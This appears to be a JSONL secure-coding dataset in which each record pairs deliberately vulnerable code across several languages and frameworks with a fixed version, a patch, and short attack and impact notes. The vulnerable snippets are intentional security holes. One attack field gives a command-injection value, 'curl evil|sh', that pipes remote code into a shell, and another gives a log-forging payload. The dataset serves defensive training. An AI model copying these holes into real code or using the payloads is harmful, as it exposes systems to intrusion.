{"id": "SCP-000217", "language": "Python", "framework": "FastAPI", "title": "Missing dependency in admin router (authz bypass)", "description": "A FastAPI admin route omits the admin-role dependency.", "owasp": "A01:2021 - Broken Access Control", "owasp_api": "API1:2023 - Broken Object Level Authorization", "owasp_llm": "", "cwe": "CWE-862", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "Critical", "difficulty": "Advanced", "vulnerable_code": "@app.delete(\"/admin/user/{uid}\")\nasync def delete(uid: int): # Vulnerable: no admin check\n repo.remove(uid)", "secure_code": "@app.delete(\"/admin/user/{uid}\")\nasync def delete(uid: int, admin: AdminUser = Depends(require_admin)): # Secure\n repo.remove(uid)", "patch": "--- a/admin.py\n+++ b/admin.py\n@@ -1,4 +1,5 @@\n-async def delete(uid: int):\n+async def delete(uid: int, admin: AdminUser = Depends(require_admin)):\n repo.remove(uid)", "root_cause": "Admin dependency missing on destructive route.", "attack": "Unauthenticated admin action.", "impact": "Privilege escalation.", "fix": "Attach role dependency.", "guideline": "Always enforce admin deps on admin routes.", "tags": ["authorization", "fastapi", "python", "broken-access-control"], "metadata": {"domain": "Authentication systems", "input_source": "path_param", "auth_required": true}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000313", "language": "Go", "framework": "Gin", "title": "Insecure JWT verification (none alg)", "description": "A Go JWT verifier allows the none algorithm.", "owasp": "A07:2021 - Identification and Authentication Failures", "owasp_api": "API2:2023 - Broken Authentication", "owasp_llm": "", "cwe": "CWE-345", "mitre_attack": "T1600 - Weaken Encryption", "severity": "Critical", "difficulty": "Advanced", "vulnerable_code": "token, _ := jwt.Parse(t, func(t *jwt.Token) (interface{}, error) { return key, nil }) // Vulnerable: any alg", "secure_code": "token, _ := jwt.Parse(t, func(t *jwt.Token) (interface{}, error) {\n if _, ok := t.Method.(*jwt.SigningMethodHMAC); !ok { return nil, fmt.Errorf(\"bad\") } // Secure: pin\n return key, nil\n})", "patch": "--- a/auth.go\n+++ b/auth.go\n@@ -1,3 +1,5 @@\n-token, _ := jwt.Parse(t, func(t *jwt.Token) (interface{}, error) { return key, nil })\n+token, _ := jwt.Parse(t, func(t *jwt.Token) (interface{}, error) {\n+ if _, ok := t.Method.(*jwt.SigningMethodHMAC); !ok { return nil, fmt.Errorf(\"bad\") }\n+ return key, nil\n+})", "root_cause": "No algorithm pinning.", "attack": "Forge alg=none token.", "impact": "Auth bypass.", "fix": "Pin algorithm.", "guideline": "Forbid none.", "tags": ["jwt", "go", "gin", "auth"], "metadata": {"domain": "Authentication systems", "input_source": "header", "auth_required": true}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000045", "language": "TypeScript", "framework": "Next.js", "title": "GraphQL introspection enabled in production", "description": "A Next.js GraphQL endpoint leaves introspection on in production, exposing the full schema.", "owasp": "A05:2021 - Security Misconfiguration", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-215", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "Low", "difficulty": "Beginner", "vulnerable_code": "const server = new ApolloServer({\n schema,\n introspection: true, // Vulnerable: on in prod\n});\n", "secure_code": "const server = new ApolloServer({\n schema,\n introspection: process.env.NODE_ENV !== 'production',\n csrfPrevention: true,\n});\n", "patch": "--- a/apollo.ts\n+++ b/apollo.ts\n@@ -2,3 +2,4 @@\n- introspection: true,\n+ introspection: process.env.NODE_ENV !== 'production',\n+ csrfPrevention: true,\n", "root_cause": "Introspection is not disabled in production, leaking the schema to attackers.", "attack": "An attacker queries __schema to map every type/field and find unprotected ones.", "impact": "Reconnaissance that accelerates targeted attacks.", "fix": "Disable introspection in production and enable CSRF prevention.", "guideline": "Gate introspection to non-prod; enable CSRF prevention on GraphQL.", "tags": ["graphql", "nextjs", "typescript", "config"], "metadata": {"domain": "REST API", "input_source": "schema", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N"}
{"id": "SCP-000290", "language": "C++", "framework": "STD", "title": "Insecure deserialization (boost)", "description": "A C++ app deserializes untrusted bytes with boost::serialization.", "owasp": "A08:2021 - Software and Data Integrity Failures", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-502", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "Critical", "difficulty": "Advanced", "vulnerable_code": "std::istringstream iss(data);\nboost::archive::text_iarchive ia(iss);\nia >> obj; // Vulnerable: untrusted bytes", "secure_code": "// Use a schema-validated JSON/Protobuf with strict parsing\nauto obj = parse_json_strict(data); // Secure", "patch": "--- a/load.cpp\n+++ b/load.cpp\n@@ -1,4 +1,3 @@\n-std::istringstream iss(data);\n-boost::archive::text_iarchive ia(iss);\n-ia >> obj;\n+auto obj = parse_json_strict(data);", "root_cause": "Native deserialization of untrusted data.", "attack": "Craft malicious archive for RCE.", "impact": "Remote code execution.", "fix": "Use safe serialization.", "guideline": "Validate deserialized data.", "tags": ["deserialization", "cpp", "rce"], "metadata": {"domain": "Microservices", "input_source": "request_body", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000467", "language": "Go", "framework": "Gin", "title": "Session fixation in Gin", "description": "Gin login does not rotate session id.", "owasp": "A07:2021 - Auth Failures", "owasp_api": "API2:2023", "owasp_llm": "", "cwe": "CWE-384", "mitre_attack": "T1539", "severity": "Medium", "difficulty": "Beginner", "vulnerable_code": "session.Set(\"uid\", uid) // same id", "secure_code": "old := session.ID()\nsession.Set(\"uid\", uid)\nsession.Save()\n_ = store.RegenID(old, session) // rotate", "patch": "--- a/login.go\n+++ b/login.go\n@@ -1,2 +1,5 @@\n-session.Set(\"uid\", uid)\n+old := session.ID()\n+session.Set(\"uid\", uid)\n+session.Save()\n+_ = store.RegenID(old, session)", "root_cause": "No session rotation.", "attack": "Fixation.", "impact": "Account takeover.", "fix": "Rotate session id.", "guideline": "Rotate session on auth.", "tags": ["session", "go", "gin", "auth"], "metadata": {"auth_required": true, "domain": "Authentication systems", "input_source": "request_body"}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000477", "language": "Rust", "framework": "Actix", "title": "No rate limit on Actix login", "description": "Actix login has no throttling.", "owasp": "A07:2021 - Auth Failures", "owasp_api": "API4:2023", "owasp_llm": "", "cwe": "CWE-307", "mitre_attack": "T1110", "severity": "Medium", "difficulty": "Beginner", "vulnerable_code": ".route(\"/login\", web::post().to(login))", "secure_code": ".route(\"/login\", web::post().to(login))\n.wrap(RateLimiter::new(5, 60))", "patch": "--- a/routes.rs\n+++ b/routes.rs\n@@ -1,2 +1,3 @@\n-.route(\"/login\", web::post().to(login))\n+.route(\"/login\", web::post().to(login))\n+.wrap(RateLimiter::new(5, 60))", "root_cause": "No throttle on auth.", "attack": "Brute force credentials.", "impact": "Account takeover.", "fix": "Rate limit login.", "guideline": "Throttle auth endpoints.", "tags": ["rate-limiting", "actix", "rust", "auth"], "metadata": {"auth_required": false, "domain": "Authentication systems", "input_source": "request_body"}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000357", "language": "PHP", "framework": "Laravel", "title": "Unrestricted file upload", "description": "An upload stores any file type by its name.", "owasp": "A04:2021 - Insecure Design", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-434", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "High", "difficulty": "Intermediate", "vulnerable_code": "$request->file(\"avatar\")->storeAs(\"public\", $file->getClientOriginalName()); // Vulnerable: any type\\", "secure_code": "if (!in_array($file->getClientOriginalExtension(), [\"png\",\"jpg\"])) abort(400); // Secure\\n$file->storeAs(\"public\", Str::uuid() . \".png\");\\", "patch": "--- a/UploadController.php\\n+++ b/UploadController.php\\n@@ -1,3 +1,4 @@\\n-$request->file(\"avatar\")->storeAs(\"public\", $file->getClientOriginalName());\\n+if (!in_array($file->getClientOriginalExtension(), [\"png\",\"jpg\"])) abort(400);\\n+$file->storeAs(\"public\", Str::uuid() . \".png\");\\", "root_cause": "No extension validation.", "attack": "Upload .php webshell.", "impact": "RCE.", "fix": "Allowlist extensions; randomize.", "guideline": "Validate uploads.", "tags": ["file-upload", "php", "laravel", "rce"], "metadata": {"domain": "E-commerce", "input_source": "form_field", "auth_required": true}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000053", "language": "Ruby", "framework": "Rails", "title": "Command injection via backticks", "description": "A Rails task runs a shell command using backticks with interpolated user input.", "owasp": "A03:2021 - Injection", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-78", "mitre_attack": "T1059.004 - Command and Scripting Interpreter: Unix Shell", "severity": "Critical", "difficulty": "Beginner", "vulnerable_code": "def export\n name = params[:name]\n # Vulnerable: backticks with interpolation\n output = `./export.sh #{name}`\n render plain: output\nend\n", "secure_code": "def export\n name = params[:name].to_s\n # Secure: validated, no shell\n unless name.match?(/\\A[\\w.-]+\\z/)\n return head :bad_request\n end\n output = system('./export.sh', name)\n render plain: output.to_s\nend\n", "patch": "--- a/app/controllers/reports_controller.rb\n+++ b/app/controllers/reports_controller.rb\n@@ -2,5 +2,8 @@\n- output = `./export.sh #{name}`\n+ unless name.match?(/\\A[\\w.-]+\\z/)\n+ return head :bad_request\n+ end\n+ output = system('./export.sh', name)\n", "root_cause": "User input is interpolated into a shell command executed via backticks.", "attack": "name=; curl evil|sh executes attacker commands on the host.", "impact": "Remote code execution.", "fix": "Avoid shells; pass arguments as an array and validate input.", "guideline": "Never use backticks/system with interpolated input; validate and use argument arrays.", "tags": ["command-injection", "rails", "ruby", "rce"], "metadata": {"domain": "Background workers", "input_source": "query_param", "auth_required": true}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000388", "language": "Kotlin", "framework": "Android", "title": "Insecure WebView with cleartext traffic", "description": "An Android WebView allows cleartext HTTP.", "owasp": "A02:2021 - Cryptographic Failures", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-319", "mitre_attack": "T1557 - Adversary-in-the-Middle", "severity": "Medium", "difficulty": "Intermediate", "vulnerable_code": "android:usesCleartextTraffic=\"true\" // Vulnerable: MITM\\", "secure_code": "android:usesCleartextTraffic=\"false\" // Secure: HTTPS only\\", "patch": "--- a/AndroidManifest.xml\\n+++ b/AndroidManifest.xml\\n@@ -1,2 +1,2 @@\\n-android:usesCleartextTraffic=\"true\"\\n+android:usesCleartextTraffic=\"false\"\\", "root_cause": "Cleartext allowed.", "attack": "MITM intercepts traffic.", "impact": "Data theft.", "fix": "Disable cleartext.", "guideline": "Enforce HTTPS.", "tags": ["mitm", "kotlin", "android", "tls"], "metadata": {"domain": "Mobile", "input_source": "network", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000072", "language": "C++", "framework": "STL", "title": "Race condition on shared counter", "description": "A C++ service increments a shared balance without atomic/mutex protection.", "owasp": "A04:2021 - Insecure Design", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-362", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "High", "difficulty": "Advanced", "vulnerable_code": "#include \nint balance = 0;\nvoid withdraw(int n) {\n // Vulnerable: non-atomic read-modify-write\n if (balance >= n) balance -= n;\n}\n", "secure_code": "#include \n#include \nint balance = 0;\nstd::mutex m;\nvoid withdraw(int n) {\n // Secure: mutex-protected critical section\n std::lock_guard lk(m);\n if (balance >= n) balance -= n;\n}\n", "patch": "--- a/bank.cpp\n+++ b/bank.cpp\n@@ -2,6 +2,9 @@\n+#include \n+std::mutex m;\n void withdraw(int n) {\n+ std::lock_guard lk(m);\n if (balance >= n) balance -= n;\n }\n", "root_cause": "Concurrent updates to shared state without synchronization cause lost updates.", "attack": "Concurrent withdrawals both pass the check and overdraw.", "impact": "Inconsistent financial state / double-spend.", "fix": "Protect shared mutable state with mutexes or atomics.", "guideline": "Synchronize shared state; use std::mutex or std::atomic.", "tags": ["race-condition", "cpp", "banking"], "metadata": {"domain": "Banking", "input_source": "request_body", "auth_required": true}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000115", "language": "TypeScript", "framework": "NestJS", "title": "GraphQL resolver leaks stack in error", "description": "A NestJS resolver returns raw internal errors to clients.", "owasp": "A05:2021 - Security Misconfiguration", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-209", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "Low", "difficulty": "Beginner", "vulnerable_code": "@Query(() => User)\nasync user(@Args('id') id: string) {\n try { return await this.svc.get(id); }\n catch (e) { throw new Error(String(e)); } // Vulnerable\n}", "secure_code": "@Query(() => User)\nasync user(@Args('id') id: string) {\n try { return await this.svc.get(id); }\n catch (e) {\n this.logger.error('user.get failed', e); // Secure\n throw new InternalServerErrorException();\n }\n}", "patch": "--- a/user.resolver.ts\n+++ b/user.resolver.ts\n@@ -3,4 +3,6 @@\n- catch (e) { throw new Error(String(e)); }\n+ catch (e) {\n+ this.logger.error('user.get failed', e);\n+ throw new InternalServerErrorException();\n+ }", "root_cause": "Internal error details are returned to clients.", "attack": "Trigger an error to learn internals.", "impact": "Information disclosure.", "fix": "Log server-side; return generic errors.", "guideline": "Return safe errors; log details server-side.", "tags": ["info-leak", "nestjs", "typescript", "error"], "metadata": {"domain": "Microservices", "input_source": "args", "auth_required": true}, "cvss_vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N"}
{"id": "SCP-000126", "language": "Python", "framework": "Django", "title": "Clickjacking on sensitive page", "description": "A Django view lacks X-Frame-Options, allowing framing.", "owasp": "A05:2021 - Security Misconfiguration", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-1021", "mitre_attack": "T1185 - Browser Session Hijacking", "severity": "Medium", "difficulty": "Beginner", "vulnerable_code": "# settings.py\nX_FRAME_OPTIONS = None # Vulnerable", "secure_code": "# settings.py\nX_FRAME_OPTIONS = 'DENY'\nSECURE_CONTENT_TYPE_NOSNIFF = True\nSECURE_HSTS_SECONDS = 31536000", "patch": "--- a/settings.py\n+++ b/settings.py\n@@ -1,2 +1,4 @@\n-X_FRAME_OPTIONS = None\n+X_FRAME_OPTIONS = 'DENY'\n+SECURE_CONTENT_TYPE_NOSNIFF = True\n+SECURE_HSTS_SECONDS = 31536000", "root_cause": "No frame protection headers.", "attack": "Overlay the page in an invisible iframe (UI redress).", "impact": "Unwanted actions via clickjacking.", "fix": "Set X_FRAME_OPTIONS='DENY' or CSP frame-ancestors.", "guideline": "Protect pages against framing.", "tags": ["clickjacking", "django", "python", "headers"], "metadata": {"domain": "Banking", "input_source": "response", "auth_required": true}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000141", "language": "JavaScript", "framework": "Express", "title": "Sensitive data in URL query", "description": "An Express route accepts a password as a query parameter, leaking via logs/referer.", "owasp": "A02:2021 - Cryptographic Failures", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-598", "mitre_attack": "T1552 - Unsecured Credentials", "severity": "Medium", "difficulty": "Beginner", "vulnerable_code": "app.post('/login', (req,res)=>{\n const pw = req.query.password; // Vulnerable: in URL\n verify(req.query.user, pw);\n});", "secure_code": "app.post('/login', (req,res)=>{\n const pw = req.body.password; // Secure: in body over TLS\n verify(req.body.user, pw);\n});", "patch": "--- a/login.js\n+++ b/login.js\n@@ -1,4 +1,4 @@\n- const pw = req.query.password;\n- verify(req.query.user, pw);\n+ const pw = req.body.password;\n+ verify(req.body.user, pw);", "root_cause": "Secret in URL is logged and sent in Referer headers.", "attack": "Logs/proxies capture the password from the URL.", "impact": "Credential leakage.", "fix": "Send secrets in the request body over TLS, never in URLs.", "guideline": "Never put secrets in URLs.", "tags": ["secrets", "express", "javascript", "creds"], "metadata": {"domain": "Authentication systems", "input_source": "query_param", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000390", "language": "Kotlin", "framework": "Android", "title": "Insecure SharedPreferences storage", "description": "An app stores sensitive data in world-readable SharedPreferences.", "owasp": "A02:2021 - Cryptographic Failures", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-312", "mitre_attack": "T1552 - Unsecured Credentials", "severity": "High", "difficulty": "Intermediate", "vulnerable_code": "getSharedPreferences(\"prefs\", Context.MODE_WORLD_READABLE) // Vulnerable: readable by others\\", "secure_code": "getSharedPreferences(\"prefs\", Context.MODE_PRIVATE) // Secure + encrypt with EncryptedSharedPreferences\\", "patch": "--- a/Storage.kt\\n+++ b/Storage.kt\\n@@ -1,3 +1,3 @@\\n-getSharedPreferences(\"prefs\", Context.MODE_WORLD_READABLE)\\n+getSharedPreferences(\"prefs\", Context.MODE_PRIVATE)\\", "root_cause": "World-readable prefs.", "attack": "Other apps read stored tokens.", "impact": "Credential theft.", "fix": "MODE_PRIVATE + encrypt.", "guideline": "Encrypt local storage.", "tags": ["secrets", "kotlin", "android", "storage"], "metadata": {"domain": "Mobile", "input_source": "device", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000013", "language": "Java", "framework": "Spring Boot", "title": "Log injection via unsanitized user data", "description": "User-controlled values are logged directly, allowing forged log lines and injection of fake entries.", "owasp": "A09:2021 - Security Logging and Monitoring Failures", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-117", "mitre_attack": "T1562.001 - Impair Defenses: Disable or Modify Tools", "severity": "Medium", "difficulty": "Beginner", "vulnerable_code": "public void handleLogin(String user, String ip) {\n // Vulnerable: newline lets attacker inject log lines\n log.info(\"Login attempt user=\" + user + \" ip=\" + ip);\n}\n", "secure_code": "public void handleLogin(String user, String ip) {\n // Secure: strip control chars and use structured logging\n String safeUser = user.replaceAll(\"[\\\\r\\\\n]\", \"_\");\n String safeIp = ip.replaceAll(\"[\\\\r\\\\n]\", \"_\");\n log.info(\"Login attempt\", kv(\"user\", safeUser), kv(\"ip\", safeIp));\n}\n", "patch": "--- a/Auth.java\n+++ b/Auth.java\n@@ -2,3 +2,5 @@\n- log.info(\"Login attempt user=\" + user + \" ip=\" + ip);\n+ String safeUser = user.replaceAll(\"[\\\\r\\\\n]\", \"_\");\n+ String safeIp = ip.replaceAll(\"[\\\\r\\\\n]\", \"_\");\n+ log.info(\"Login attempt\", kv(\"user\", safeUser), kv(\"ip\", safeIp));\n", "root_cause": "Untrusted data containing CR/LF is written to logs, forging entries or breaking log parsers.", "attack": "user=bob\\nINFO ADMIN GRANTED injects a fake 'admin granted' line to mislead responders.", "impact": "Audit-log integrity loss; delayed or misdirected incident response.", "fix": "Sanitize control characters and prefer structured logging with key/value pairs.", "guideline": "Never log raw untrusted input; sanitize control chars and use structured fields.", "tags": ["logging", "spring", "java", "log-injection"], "metadata": {"domain": "Authentication systems", "input_source": "header", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000058", "language": "Ruby", "framework": "Rails", "title": "Secret exposed via Rails credentials commit", "description": "A hardcoded AWS secret is committed in a Rails initializer.", "owasp": "A05:2021 - Security Misconfiguration", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-798", "mitre_attack": "T1552.001 - Unsecured Credentials: Credentials In Files", "severity": "High", "difficulty": "Beginner", "vulnerable_code": "# config/initializers/aws.rb\nAws.config.update(\n credentials: Aws::Credentials.new(\n 'AKIAIOSFODNN7EXAMPLE', 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY'))\n", "secure_code": "# config/initializers/aws.rb\nAws.config.update(\n credentials: Aws::Credentials.new(\n ENV.fetch('AWS_ACCESS_KEY_ID'), ENV.fetch('AWS_SECRET_ACCESS_KEY')))\n", "patch": "--- a/config/initializers/aws.rb\n+++ b/config/initializers/aws.rb\n@@ -2,5 +2,5 @@\n- 'AKIAIOSFODNN7EXAMPLE', 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY'))\n+ ENV.fetch('AWS_ACCESS_KEY_ID'), ENV.fetch('AWS_SECRET_ACCESS_KEY')))\n", "root_cause": "Cloud credentials are hardcoded in source instead of environment/secret store.", "attack": "Anyone with repo access obtains cloud credentials.", "impact": "Cloud resource compromise.", "fix": "Load secrets from env/secret manager; rotate any committed keys.", "guideline": "Never commit cloud keys; use env vars and rotate on leak.", "tags": ["secrets", "rails", "ruby", "config"], "metadata": {"domain": "Microservices", "input_source": "source_code", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000338", "language": "C#", "framework": "ASP.NET Core", "title": "XML external entity (XmlDocument)", "description": "An XmlDocument parses untrusted XML with DTDs enabled.", "owasp": "A05:2021 - Security Misconfiguration", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-611", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "High", "difficulty": "Intermediate", "vulnerable_code": "var d = new XmlDocument(); d.LoadXml(body); // Vulnerable: XXE if DTDs on\\", "secure_code": "var settings = new XmlReaderSettings { DtdProcessing = DtdProcessing.Prohibit };\\nusing var r = XmlReader.Create(new StringReader(body), settings); // Secure\\", "patch": "--- a/XmlCtrl.cs\\n+++ b/XmlCtrl.cs\\n@@ -1,3 +1,4 @@\\n-var d = new XmlDocument(); d.LoadXml(body);\\n+var settings = new XmlReaderSettings { DtdProcessing = DtdProcessing.Prohibit };\\n+using var r = XmlReader.Create(new StringReader(body), settings);\\", "root_cause": "DTD processing enabled.", "attack": "DOCTYPE reads files / SSRF.", "impact": "File disclosure.", "fix": "Prohibit DTDs.", "guideline": "Harden XML parsing.", "tags": ["xxe", "csharp", "aspnet", "xml"], "metadata": {"domain": "REST API", "input_source": "request_body", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}